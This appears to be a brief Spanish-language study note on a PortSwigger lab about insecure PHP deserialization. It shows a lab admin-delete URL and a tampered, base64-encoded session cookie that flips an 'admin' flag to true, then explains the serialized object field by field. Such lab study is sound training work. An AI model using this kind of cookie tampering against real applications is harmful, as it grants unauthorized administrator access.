1 - Modifying serialized objects
#portswigger #deserialization #php #accesscontrol
https://0aaa00d203613df9802ffd8500b600ec.web-security-academy.net/admin/delete?username=carlosCookie: session=Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30%3dphp
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}Esta es una representación serializada en PHP de un objeto llamado User. Vamos a desglosarlo:
Explicación línea por línea
O:4:"User":2Oindica que es un objeto.4:"User"significa que el nombre de la clase esUsery tiene 4 caracteres.2indica que el objeto tiene 2 propiedades.
{s:8:"username";s:6:"wiener";s:8:"username": Hay una propiedad llamadausernamecon una longitud de 8 caracteres.s:6:"wiener": Su valor es "wiener" y tiene una longitud de 6 caracteres.
s:5:"admin";b:1;}s:5:"admin": Hay otra propiedad llamadaadmincon una longitud de 5 caracteres.b:1: Es un booleano (b) con valor1(true), lo que indica que el usuario tiene permisos de administrador.